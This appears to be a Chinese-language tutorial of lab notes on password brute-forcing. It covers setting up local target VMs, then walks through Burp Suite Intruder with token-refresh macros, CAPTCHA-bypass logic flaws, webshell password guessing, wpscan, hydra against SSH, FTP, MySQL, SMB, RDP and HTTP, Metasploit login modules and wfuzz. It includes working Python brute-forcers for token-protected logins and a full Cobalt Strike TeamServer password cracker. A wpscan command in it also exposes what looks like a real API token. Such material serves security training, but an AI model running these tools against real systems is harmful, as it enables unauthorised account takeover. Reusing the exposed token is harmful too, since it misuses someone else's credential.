目录
1.先拦截请求,发送到intruder,把密码改为变量,添加字典(和上面一样)
6.将parameter name改为user_token,把token的值选上,然后一直点ok
8.设置在域名为http://www.c3moon.com/的情况下用这个宏
1.需要的爆破工具有Burp site , Sublime , Codex
二十二.CobaltStrike TeamServer口令暴力破解
3.在攻击机的cobaltstrike进入命令行,再输入靶机的ip和爆破出来的密码,就可以进入teamserver了
一.靶场sever-1搭建
1.选择桥接模式
公司或者学校的话用net模式
2.ip原本是绑定的,设置为自动获取
3.在本机hosts文件中添加网址
添加完以后就可以在,本机(物理机)的浏览器上面访问这些网址
二.靶场sever-2搭建
1.查看靶场ip
2.配置服务器
把这些都换成虚拟机的地址
3.配置物理机
首选dns服务器,物理机才会先访问sever-2里面的网站,否则直接去公网找,就访问不到了
配置完就能在本机浏览器中找到这个网站了
1.在NAT模式下,虚拟机的IP地址对外部网络不可见,要通过修改虚拟机的网络里的的DNS服务器地址,可以将DNS请求转发给与主机网络连接的虚拟机,从而实现对虚拟机域名的解析。(改下面这个)
2.在桥接模式下,虚拟机和物理机处于同一个网络中,它们可以直接通信。因此,只需要修改本机所连接的网络(如WLAN)的DNS服务器地址,就可以让物理机通过该网络直接访问虚拟机上的网站。
三.利用Burp Suite爆破获取登录密码
1.在Burp Suite自带浏览器打开网页
2.切换拦截模式,拦截发送的登录表单请求
3.发送到intruder
4.把密码设为变量
5.添加字典
6.302跳转
密码为123456
7.强化练习
和上面同理
成功
第二个
根据长度来判断是不是正确的密码
访问成功
四.爆破有token验证的网页
当客户端访问受保护资源时,将Token放入请求中发给服务器,服务器接受到请求后,会验证Token的有效性和权限,如果Token有效且权限允许,服务器会响应请求并提供所需的资源。这节介绍,怎么在爆破中更新token。
1.先拦截请求,发送到intruder,把密码改为变量,添加字典(和上面一样)
2.添加宏(macro)
3.点add点运行宏
4.添加
5.点Configure item
6.将parameter name改为user_token,把token的值选上,然后一直点ok
7.选更新user_token
8.设置在域名为http://www.c3moon.com/的情况下用这个宏
9.开始爆破,可以发现请求中每个token都是更新好的
10.返回都是302更新一下配置,跟随页面跳转
11.重新爆破,密码为password
五.编写python脚本爆破有token验证的网页
先上代码
from tkinter.tix import Tree # 导入 Tkinter 模块中的 Tree 组件,但这段代码并没有用到它
import requests # 导入 requests 库,用于发送 HTTP 请求和处理响应
import re # 导入 re 模块,用于进行正则表达式匹配
url = "http://www.c3moon.com/login.php" # 定义要登录的 URL,为一个名为 login.php 的页面
def login(password):
session = requests.session() # 创建一个 requests.Session 对象,用于保存会话状态
req = session.get(url) # 发送一个 HTTP GET 请求,获取登录页面的 HTML 响应
user_token = re.search("[a-z0-9]{32}", req.text).group(0) # 从响应中提取 user_token,用于后续登录请求构造
data = {"username" : "admin" , "password" : password , "Login" : "Login" ,"user_token" : user_token} # 构造登录请求的表单数据
req = session.post(url = url , data = data , allow_redirects = True) # 发送登录请求,并允许自动处理重定向
html = req.text # 获取登录请求的响应 HTML
return html # 返回登录请求的响应 HTML
with open('top1000.txt') as p: # 打开一个名为 top1000.txt 的文件,其中包含了要尝试的密码列表
passlist = p.readlines() # 读取文件中的所有行,并保存到 passlist 变量中
p.close() # 关闭文件
for line in passlist: # 对于密码列表中的每个密码
line = line.strip("\n") # 去掉密码字符串中的换行符
print(line) # 输出当前尝试的密码
if 'File Upload' in login(line): # 使用当前密码进行登录,如果登录成功并且登录后的页面包含字符串 "File Upload"
print("密码为:%s" % line) # 输出成功的密码
break # 结束程序
后面自己又写了一个
import re
import requests
# Login failed
def Login(pw):
url = "http://192.168.116.136/01/login.php"
session = requests.Session()
req = session.get(url)
# token = re.findall(r'value=\'(.+)\'', req.text) 都行,findall的话就加个token[0],因为findall返回的是列表
match = re.search(r'value=\'(.+)\'', req.text)
user_token = match.group(1)
data = {
"username": "admin",
"password": pw,
"Login": "Login",
"user_token": user_token
}
req = session.post(url=url, data=data, allow_redirects=True)
return req.text
with open('C:/Users/Asus/Desktop/top1000.txt') as p:
passwordlist = p.readlines()
p.close()
for line in passwordlist:
line = line.strip("\n")
print(line)
if not "Login failed" in Login(line):
print("密码为:%s" % line)
break
总的来说就是
先获取HTTP 请求返回的响应内容
11efa5d831f32a8a104ec0a1801f354a是文件名,是服务器储存token的文件,用req = re.search("[a-z0-9]{32}",req.text).group(0)在服务器返回的文件中,获取token值
然后再字典里面拿密码试,把密码放进data里面打包用post发出去
密码就出来了
六.无cookie无验证码
有些网站因为代码逻辑问题导致出现的漏洞,用户要输入验证码与服务器发来的session中包含的验证码来相互验证。但是如果我们发送的请求把session删了。就不用验证了
接下来是步骤
1.用burp中自带的浏览器抓包
发送到repeater上
2.改一下验证码试试
3.再把session删掉试试
验证码错误没了
4.发包到intruder上面,穷举爆破,得到密码
七.验证码复用漏洞
代码逻辑导致漏洞。因为session中的验证码不删除,网页刷新后仍然可以用上一个验证码来通过验证
抓包发送到repeater上
直接爆破
成功获得密码
八.设置虚拟机固定ip
九.针对验证码识别验证
1.需要的爆破工具有Burp site , Sublime , Codex
2.抓包
3.把请求包放入Codex
4.把字典的unix格式转换为windows
UNIX 和 Windows 操作系统在处理文本文件时使用了不同的换行符:
- UNIX 使用单个 LF(Line Feed)字符表示一行的结束;
- Windows 使用 CR(Carriage Return)和 LF 两个字符组合表示一行的结束。
选Line ending选windows
5.导入字典,输入返回验证码错误特征
6.点start就开始爆破了
感觉比burp site要快
十.cheetch对一句话后门密码进行穷举
1.右键打打开终端
2.运行这个代码访问一句话后门爆破密码
十一.使用brupsuite对一句话后门密码进行穷举
1.抓包
2.右键选择change request method
3.加入这句话,如果密码对的话,木马后门就会显示出来
等于号后面不要加空格
4.send to intruder开始爆破
爆破成功
十二.wordpress博客系统用户穷举
1.注册wpscan账号并且获取token
WPScan是一个开源的WordPress漏洞扫描器,它可以帮助安全测试人员或管理员检测WordPress网站中的漏洞和安全问题。WPScan可以扫描WordPress网站并识别出已知的漏洞,比如WordPress核心代码和插件中的安全漏洞、敏感信息泄露等。WPScan也可以进行密码爆破测试,并且提供了一些其他有用的功能,例如查找已安装的主题和插件、列举用户、收集WordPress版本信息等。
2.在虚拟机配置dns服务器,访问靶机
3.使用这个命令对靶机进行爆破
wpscan --url http://www.redteam.com/ -e u -P /home/hqn/top1000.txt --api-token BAplV0uKn40rZVy5jWKNgZW4m29fU1VEh39rQcANN68
十三.使用 hydra 穷举 ssh 服务
1.查看主机ip是否与靶机在一个子网内
不是的话就按这个指令改一下,(第二天的我:改完就连不上网了
sudo ifconfig eth2 192.168.1.2 netmask 255.255.255.0
2.看一下hydra的指令
3.查看目标机22端口是否开放
nmap -p 22 目标机的ip
4.开始爆破
hydra -L 用户字典文件地址 -P 密码字典文件地址 -e ns -vV -t 1 目标机IP
知道用户名的话可以 -l 用户名,-L是文件字典,然后如果想找到密码就停止爆破的话就加个 -t
十四.使用 hydra 穷举 ftp 服务
十五.使用 hydra 穷举mysql 服务
十六.使用 hydra 穷举 smb 服务
-o是把账号密码写入文件
如果目标机的c盘是共享的话,可以在主机访问到
批量爆破
十七.使用 hydra 穷举 rdp 服务
RDP是一种远程桌面协议,用于远程控制Windows桌面。它允许用户通过网络连接到远程Windows计算机,并在本地计算机上使用远程计算机的桌面、应用程序和文件。RDP协议通常使用TCP端口3389进行通信
主机打开rdp远程控制服务
输入目标主机的ip
点更多选项添加账号密码
就连接成功啦
十八.使用 hydra 穷举 http 服务
http-post-form post方法用这个模块
/admin/index.php 网站导航
user=^USER^ 用户名
ps=^PASS^ 密码
login-error 密码错误时会调用login-error方法,可以在源代码里看到
十八.hydra 可视化工具 xhydra
1.命令行输入xhydra
十九.metasploit 穷举模块的使用
metasploit 是一个渗透测试集成套件 同样也有穷举模块
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
模块的用法 首先启动在终端下启动
msfconsole
use 使用 ssh_login 模块
use auxiliary/scanner/ssh/ssh_login
show options 查看模块的参数
1.使用metasploit 爆破smb服务,打开工具
2.打开smb登录模块
3.查看参数
4.设置以下参数
爆破成功
二十.wfuzz 多线程穷举密
-c
:指定输出结果以彩色显示。-z file,/home/hqn/csdnpass.txt
:使用文件/home/hqn/csdnpass.txt
中的内容作为 fuzzing 的 payload。--sc 302
:设置 HTTP 响应状态码为 302 时认为是成功的条件。-u http://www.c1moon.com/admin/index.php?action=login
:指定目标 URL 为http://www.c1moon.com/admin/index.php?action=login
,即登录页面。-d "user=admin&pw=FUZZ"
:指定请求的数据部分,其中FUZZ
将被 payload 替换,post请求要用-d- get请求这样就好
-w /home/... 也可以指定字典
--hc 404 屏蔽404状态码
--hh 屏蔽1549长度的返回值
md给我虚拟机干爆了
二十一. 利用Mail Cracker破解邮件密码
1.当!
![](https://img-blog.csdnimg.cn/direct/d109064ba41b43e398227efe2ed887c1.png)
2.一般只能爆破些私人邮服
其他的可以有其他验证,比如只能登录3次什么的
3.爆破完成
3.发邮件的工具
4.创建账号就能发了
5.看看邮服
6.可以先扫一下看看靶机端口开不开
二十二.CobaltStrike TeamServer口令暴力破解
这里主要是对CobaltStrike 的TeamServer模块进行口令破解
1.在靶机中创建teamserver
把cobaltstriike工具复制到靶机上
创建成功,监听请求
2.放入脚本csbuster.py
#!/usr/bin/env python3
# -*- coding:gbk -*-
import time
import socket
import ssl
import argparse
import concurrent.futures
import sys
# csbrute.py - Cobalt Strike Team Server Password Brute Forcer
# https://stackoverflow.com/questions/6224736/how-to-write-python-code-that-is-able-to-properly-require-a-minimal-python-versi
MIN_PYTHON = (3, 3)
if sys.version_info < MIN_PYTHON:
sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON)
parser = argparse.ArgumentParser()
parser.add_argument("host",
help="Teamserver address")
parser.add_argument("wordlist", nargs="?",
help="Newline-delimited word list file")
parser.add_argument("-p", dest="port", default=50050, type=int,
help="Teamserver port")
parser.add_argument("-t", dest="threads", default=25, type=int,
help="Concurrency level")
args = parser.parse_args()
# https://stackoverflow.com/questions/27679890/how-to-handle-ssl-connections-in-raw-python-socket
class NotConnectedException(Exception):
def __init__(self, message=None, node=None):
self.message = message
self.node = node
class DisconnectedException(Exception):
def __init__(self, message=None, node=None):
self.message = message
self.node = node
class Connector:
def __init__(self):
self.sock = None
self.ssl_sock = None
self.ctx = ssl.SSLContext()
self.ctx.verify_mode = ssl.CERT_NONE
pass
def is_connected(self):
return self.sock and self.ssl_sock
def open(self, hostname, port):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(10)
self.ssl_sock = self.ctx.wrap_socket(self.sock)
if hostname == socket.gethostname():
ipaddress = socket.gethostbyname_ex(hostname)[2][0]
self.ssl_sock.connect((ipaddress, port))
else:
self.ssl_sock.connect((hostname, port))
def close(self):
if self.sock:
self.sock.close()
self.sock = None
self.ssl_sock = None
def send(self, buffer):
if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
self.ssl_sock.sendall(buffer)
def receive(self):
if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
received_size = 0
data_buffer = b""
while received_size < 4:
data_in = self.ssl_sock.recv()
data_buffer = data_buffer + data_in
received_size += len(data_in)
return data_buffer
def passwordcheck(password):
if len(password) > 0:
result = None
conn = Connector()
conn.open(args.host, args.port)
payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(
bytes(password, "ascii").ljust(256, b"A"))
conn.send(payload)
if conn.is_connected(): result = conn.receive()
if conn.is_connected(): conn.close()
if result == bytearray(b"\x00\x00\xca\xfe"):
return password
else:
return False
else:
print("Ignored blank password")
passwords = []
if args.wordlist:
print("Wordlist: {}".format(args.wordlist))
passwords = open(args.wordlist).read().split("\n")
else:
print("Wordlist: {}".format("stdin"))
for line in sys.stdin:
passwords.append(line.rstrip())
if len(passwords) > 0:
print("Word Count: {}".format(len(passwords)))
print("Threads: {}".format(args.threads))
start = time.time()
# https://stackoverflow.com/questions/2846653/how-to-use-threading-in-python
attempts = 0
failures = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}
for future in concurrent.futures.as_completed(future_to_check):
password = future_to_check[future]
try:
data = future.result()
attempts = attempts + 1
if data:
print("Found Password: {}".format(password))
except Exception as exc:
failures = failures + 1
print('%r generated an exception: %s' % (password, exc))
print("Attempts: {}".format(attempts))
print("Failures: {}".format(failures))
finish = time.time()
print("Seconds: {:.1f}".format(finish - start))
print("Attemps per second: {:.1f}".format((failures + attempts) / (finish - start)))
else:
print("Password(s) required")
爆破出密码